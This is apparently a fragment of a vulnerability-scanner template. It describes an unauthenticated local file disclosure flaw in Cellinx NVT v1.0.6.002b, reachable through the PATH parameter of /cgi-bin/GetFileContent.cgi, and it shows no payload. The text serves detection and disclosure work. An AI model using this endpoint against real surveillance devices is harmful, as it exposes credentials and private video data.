  description: |
    Cellinx NVT v1.0.6.002b was discovered to contain a local file disclosure vulnerability via the component /cgi-bin/GetFileContent.cgi.
  impact: |
    Unauthenticated attackers can read arbitrary files from the server through the PATH parameter in GetFileContent.cgi, potentially exposing system credentials, configuration files, and sensitive video surveillance data.
